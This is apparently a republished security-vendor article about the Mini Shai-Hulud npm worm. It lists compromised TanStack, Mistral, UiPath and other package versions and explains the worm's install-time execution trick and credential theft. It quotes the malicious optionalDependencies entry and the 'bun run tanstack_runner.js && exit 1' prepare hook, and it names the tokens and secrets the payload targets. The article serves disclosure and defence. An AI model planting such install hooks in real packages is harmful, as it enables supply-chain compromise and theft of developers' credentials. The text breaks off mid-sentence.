AI News HubLIVE
站内改写

Mini Shai-Hulud Is Back: NPM Worm Hits over 160 Packages, Including Mistral

The Mini Shai-Hulud npm worm campaign has expanded dramatically, now affecting 373 malicious package-version entries across 169 package names including TanStack and Mistral. The malware steals credentials from developer machines and CI/CD runners, and uses trusted publishing paths to propagate.

Article intelligence

EngineersIntermediate

Key points

  • Campaign escalated from SAP packages to 169 package names including @tanstack, @mistralai, @uipath
  • Malware uses GitHub-hosted optional dependencies with prepare scripts to execute payload
  • Targets GitHub tokens, npm tokens, cloud credentials, and OIDC tokens for propagation
  • Provenance from trusted publishing does not guarantee build safety

Why it matters

This matters because campaign escalated from SAP packages to 169 package names including @tanstack, @mistralai, @uipath.

Technical impact

May affect model selection, inference cost, product capability, and evaluation benchmarks.

Mini Shai-Hulud Is Back: npm Worm Hits over 160 Packages, including Mistral and Tanstack

Raphael Silva

Published on:

May 12, 2026

Mini Shai-Hulud is back. Like I said before, we were yet to see the full scale of the attack.

The npm campaign we covered in April, when it targeted SAP packages, has now turned into a much larger compromise. Our Malware Team detected 373 malicious package-version entries across 169 npm package names.

The basic goal is still the same: steal credentials from developer machines and CI/CD runners, then use those credentials to reach more packages.

What changed is the scale and the release path. This wave does not just look like someone manually publishing bad versions. The malware is built to run inside build systems, steal npm and GitHub access, and abuse trusted publishing paths to push new compromised packages.

If you read our earlier post, Mini Shai-Hulud Targets SAP npm Packages With a Bun-Based Secret Stealer, this is the follow-up: the same idea, but with a much bigger blast radius.

What Happened

TanStack is still one of the most visible clusters, but it is no longer the whole story. The affected set now includes packages across @squawk, @tanstack, @uipath, @tallyui, @beproduct, @mistralai, @draftlab, @draftauth, @taskflow-corp, @tolka, and several unscoped packages.

The largest clusters in this campaign are:

@squawk: 87 package-version entries

@tanstack: 83 package-version entries

@uipath: 66 package-version entries

unscoped packages: 39 package-version entries

@tallyui: 30 package-version entries

@beproduct: 18 package-version entries

This list is still moving. The important part is not only the number of packages, but where they run. These packages are likely to be installed in local developer environments, CI jobs, release workflows, and internal build systems.

That is exactly where npm tokens, GitHub tokens, cloud credentials, Kubernetes service account tokens, and deployment secrets tend to live.

Affected Packages And Versions

Current list of packages and versions our team has identified:

@tanstack/history: 1.161.9, 1.161.12

@tanstack/react-router: 1.169.5, 1.169.8

@tanstack/router-core: 1.169.5, 1.169.8

@tanstack/router-utils: 1.161.11, 1.161.14

@tanstack/router-plugin: 1.167.38, 1.167.41

@tanstack/virtual-file-routes: 1.161.10, 1.161.13

@tanstack/router-generator: 1.166.45, 1.166.48

@tanstack/start-server-core: 1.167.33, 1.167.36

@tanstack/start-client-core: 1.168.5, 1.168.8

@tanstack/start-storage-context: 1.166.38, 1.166.41

@tanstack/start-plugin-core: 1.169.23, 1.169.26

@tanstack/react-start-server: 1.166.55, 1.166.58

@tanstack/react-start-client: 1.166.51, 1.166.54

@tanstack/start-fn-stubs: 1.161.9, 1.161.12

@tanstack/react-start: 1.167.68, 1.167.71

@tanstack/react-start-rsc: 0.0.47, 0.0.50

@mistralai/mistralai: 2.2.2, 2.2.3, 2.2.4

@tanstack/react-router-devtools: 1.166.16, 1.166.19

@tanstack/router-devtools-core: 1.167.6, 1.167.9

@tanstack/router-devtools: 1.166.16, 1.166.19

@tanstack/router-ssr-query-core: 1.168.3, 1.168.6

@tanstack/react-router-ssr-query: 1.166.15, 1.166.18

@tanstack/router-cli: 1.166.46, 1.166.49

@tanstack/zod-adapter: 1.166.12, 1.166.15

@tanstack/eslint-plugin-router: 1.161.9

@tanstack/router-vite-plugin: 1.166.53, 1.166.56

@tanstack/nitro-v2-vite-plugin: 1.154.12, 1.154.15

@mistralai/mistralai-gcp: 1.7.1, 1.7.2, 1.7.3

@tanstack/solid-router: 1.169.5, 1.169.8

@tanstack/solid-start: 1.167.65, 1.167.68

@tanstack/solid-start-client: 1.166.50, 1.166.53

@tanstack/solid-start-server: 1.166.54, 1.166.57

@tanstack/solid-router-devtools: 1.166.16, 1.166.19

@tanstack/start-static-server-functions: 1.166.44, 1.166.47

@tanstack/vue-router: 1.169.5, 1.169.8

@uipath/apollo-react: 4.24.5

@tanstack/solid-router-ssr-query: 1.166.15, 1.166.18

safe-action: 0.8.3, 0.8.4

@tanstack/valibot-adapter: 1.166.12, 1.166.15

@tanstack/vue-start: 1.167.61, 1.167.64

@uipath/apollo-wind: 2.16.2

@uipath/cli: 1.0.1

@tanstack/vue-start-server: 1.166.50, 1.166.53

@squawk/types: 0.8.2, 0.8.3, 0.8.4

@uipath/rpa-tool: 0.9.5

@squawk/mcp: 0.9.1, 0.9.2, 0.9.3, 0.9.4

@tanstack/vue-start-client: 1.166.46, 1.166.49

@squawk/weather: 0.5.6, 0.5.7, 0.5.8, 0.5.9

@squawk/airspace: 0.8.1, 0.8.2, 0.8.3, 0.8.4

@squawk/icao-registry-data: 0.8.4, 0.8.5, 0.8.6, 0.8.7

@tanstack/arktype-adapter: 1.166.12, 1.166.15

@squawk/flightplan: 0.5.2, 0.5.3, 0.5.4, 0.5.5

@squawk/airports: 0.6.2, 0.6.3, 0.6.4, 0.6.5

@mesadev/sdk: 0.28.3

@squawk/geo: 0.4.4, 0.4.5, 0.4.6, 0.4.7

@mesadev/rest: 0.28.3

@squawk/procedure-data: 0.7.3, 0.7.4, 0.7.5, 0.7.6

@squawk/navaid-data: 0.6.4, 0.6.5, 0.6.6, 0.6.7

@squawk/fix-data: 0.6.4, 0.6.5, 0.6.6, 0.6.7

@squawk/navaids: 0.4.2, 0.4.3, 0.4.4, 0.4.5

@squawk/fixes: 0.3.2, 0.3.3, 0.3.4, 0.3.5

@squawk/airport-data: 0.7.4, 0.7.5, 0.7.6, 0.7.7

@squawk/airway-data: 0.5.4, 0.5.5, 0.5.6, 0.5.7

@squawk/units: 0.4.3, 0.4.4, 0.4.5, 0.4.6

@squawk/procedures: 0.5.2, 0.5.3, 0.5.4, 0.5.5

@squawk/airways: 0.4.2, 0.4.3, 0.4.4, 0.4.5

@squawk/icao-registry: 0.5.2, 0.5.3, 0.5.4, 0.5.5

@uipath/apollo-core: 5.9.2

@squawk/notams: 0.3.6, 0.3.7, 0.3.8, 0.3.9

@uipath/filesystem: 1.0.1

@uipath/solutionpackager-tool-core: 0.0.34

@squawk/flight-math: 0.5.4, 0.5.5, 0.5.6, 0.5.7

@squawk/airspace-data: 0.5.3, 0.5.4, 0.5.5, 0.5.6

@mistralai/mistralai-azure: 1.7.1, 1.7.2, 1.7.3

@uipath/solution-tool: 1.0.1

@tanstack/eslint-plugin-start: 0.0.4, 0.0.7

@uipath/maestro-tool: 1.0.1

@uipath/codedapp-tool: 1.0.1

@uipath/agent-tool: 1.0.1

@draftlab/auth: 0.24.1, 0.24.2

@uipath/orchestrator-tool: 1.0.1

@uipath/integrationservice-tool: 1.0.2

@taskflow-corp/cli: 0.1.24, 0.1.25, 0.1.26, 0.1.27, 0.1.28, 0.1.29

@tanstack/vue-router-ssr-query: 1.166.15, 1.166.18

@uipath/rpa-legacy-tool: 1.0.1

@uipath/vertical-solutions-tool: 1.0.1

@uipath/flow-tool: 1.0.2

@uipath/codedagent-tool: 1.0.1

@uipath/common: 1.0.1

@uipath/resource-tool: 1.0.1

@uipath/auth: 1.0.1

@uipath/docsai-tool: 1.0.1

@uipath/case-tool: 1.0.1

@uipath/api-workflow-tool: 1.0.1

@tanstack/vue-router-devtools: 1.166.16, 1.166.19

@uipath/test-manager-tool: 1.0.2

@uipath/robot: 1.3.4

@uipath/traces-tool: 1.0.1

@uipath/agent-sdk: 1.0.2

@uipath/integrationservice-sdk: 1.0.2

@uipath/maestro-sdk: 1.0.1

@uipath/data-fabric-tool: 1.0.2

@mesadev/saguaro: 0.4.22

@uipath/tasks-tool: 1.0.1

@uipath/insights-tool: 1.0.1

@uipath/insights-sdk: 1.0.1

@uipath/uipath-python-bridge: 1.0.1

@draftlab/db: 0.16.1

@uipath/ap-chat: 1.5.7

@uipath/project-packager: 1.1.16

@uipath/packager-tool-case: 0.0.9

@uipath/packager-tool-workflowcompiler-browser: 0.0.34

@uipath/packager-tool-connector: 0.0.19

@uipath/packager-tool-workflowcompiler: 0.0.16

@uipath/packager-tool-webapp: 1.0.6

@uipath/packager-tool-apiworkflow: 0.0.19

@uipath/packager-tool-functions: 0.1.1

ts-dna: 3.0.1, 3.0.2, 3.0.3, 3.0.4

@uipath/widget.sdk: 1.2.3

@uipath/resources-tool: 0.1.11

@uipath/agent.sdk: 0.0.18

cross-stitch: 1.1.3, 1.1.4, 1.1.5, 1.1.6

@uipath/codedagents-tool: 0.1.12

@uipath/aops-policy-tool: 0.3.1

@uipath/solution-packager: 0.0.35

@draftlab/auth-router: 0.5.1, 0.5.2

cmux-agent-mcp: 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8

agentwork-cli: 0.1.4, 0.1.5

@uipath/packager-tool-bpmn: 0.0.9

@draftauth/core: 0.13.1, 0.13.2

@dirigible-ai/sdk: 0.6.2, 0.6.3

@uipath/packager-tool-flow: 0.0.19

git-branch-selector: 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7

wot-api: 0.8.1, 0.8.2, 0.8.3, 0.8.4

git-git-git: 1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.0.12

@beproduct/nestjs-auth: 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16, 0.1.17, 0.1.18, 0.1.19

@ml-toolkit-ts/xgboost: 1.0.3, 1.0.4

nextmove-mcp: 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7

ml-toolkit-ts: 1.0.4, 1.0.5

@uipath/telemetry: 0.0.7

@draftauth/client: 0.2.1, 0.2.2

@ml-toolkit-ts/preprocessing: 1.0.2, 1.0.3

@tallyui/connector-medusa: 1.0.1, 1.0.2, 1.0.3

@uipath/tool-workflowcompiler: 0.0.12

@uipath/vss: 0.1.6

@tallyui/theme: 0.2.1, 0.2.2, 0.2.3

@tallyui/storage-sqlite: 0.2.1, 0.2.2, 0.2.3

@uipath/solutionpackager-sdk: 1.0.11

@tallyui/connector-vendure: 1.0.1, 1.0.2, 1.0.3

@tallyui/core: 0.2.1, 0.2.2, 0.2.3

@tallyui/connector-woocommerce: 1.0.1, 1.0.2, 1.0.3

@tallyui/components: 1.0.1, 1.0.2, 1.0.3

@uipath/ui-widgets-multi-file-upload: 1.0.1

@tallyui/pos: 0.1.1, 0.1.2, 0.1.3

@tallyui/database: 1.0.1, 1.0.2, 1.0.3

@supersurkhet/cli: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7

@tallyui/connector-shopify: 1.0.1, 1.0.2, 1.0.3

@tolka/cli: 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6

@supersurkhet/sdk: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7

@uipath/access-policy-tool: 0.3.1

@uipath/context-grounding-tool: 0.1.1

@uipath/gov-tool: 0.3.1

@uipath/admin-tool: 0.1.1

@uipath/identity-tool: 0.1.1

@uipath/llmgw-tool: 1.0.1

@uipath/resourcecatalog-tool: 0.1.1

@uipath/functions-tool: 1.0.1

@uipath/access-policy-sdk: 0.3.1

@uipath/platform-tool: 1.0.1

How The New Wave Works

In the SAP wave, the compromised packages added a preinstall hook that ran setup.mjs, which then used Bun to execute a large obfuscated payload named execution.js.

This wave uses a slightly different route.

In compromised TanStack packages, the package tarball includes a new obfuscated file at the package root:

router_init.js

The compromised package also adds an optional dependency that points to a GitHub-hosted package

"optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" }

That Git dependency contains a prepare script:

"scripts": { "prepare": "bun run tanstack_runner.js && exit 1" }

This is the trick. npm runs lifecycle scripts for Git dependencies during installation. So a package that looks like a normal dependency can quietly reach into a GitHub-hosted dependency, run its prepare hook, and execute the payload.

The && exit 1 at the end is also interesting. Because the dependency is optional, failing after the payload runs can make the install look less suspicious. The malicious code has already executed by the time npm treats the optional dependency as failed.

Why Trusted Publishing Matters Here

One of the more uncomfortable parts of this wave is the use of trusted publishing.

Trusted publishing is meant to remove long-lived npm tokens from release workflows. A GitHub Actions workflow can use OIDC to request a short-lived npm publish token, publish the package, and attach provenance to the release.

That is good when the workflow is clean.

It is much worse when attacker-controlled code runs inside the workflow. At that point, the attacker may not need to steal a long-lived npm token at all. They can use the workflow's own OIDC permissions to mint a publish token during the build and publish from there.

That also means provenance is not a full safety signal. A malicious package can still come from the expected GitHub Actions workflow if that workflow was abused during the release.

In plain English: provenance can tell you where the package was built. It does not prove the build was safe.

What The Payload Tries To Steal

The payload is built for CI/CD and developer environments.

It looks for:

GitHub tokens

npm tokens

GitHub Actions OIDC tokens

AWS credentials and instance metadata

Kubernetes service account files

HashiCorp Vault tokens and local Vault endpoints

environment variables

local filesystem secrets

The payload also contains propagation logic. After stealing tokens, it attempts to use them to find packages the victim can publish, modify package archives, inject the malicious dependency, bump versions, and publish new compromised releases.

That is what makes this more than a normal infostealer. The malware is not only trying to steal from the current victim. It is trying to turn the victim's release access into the next infection path.

What Changed From The SAP Attack

The SAP wave was smaller in package count but still high impact because it touched

[truncated for AI cost control]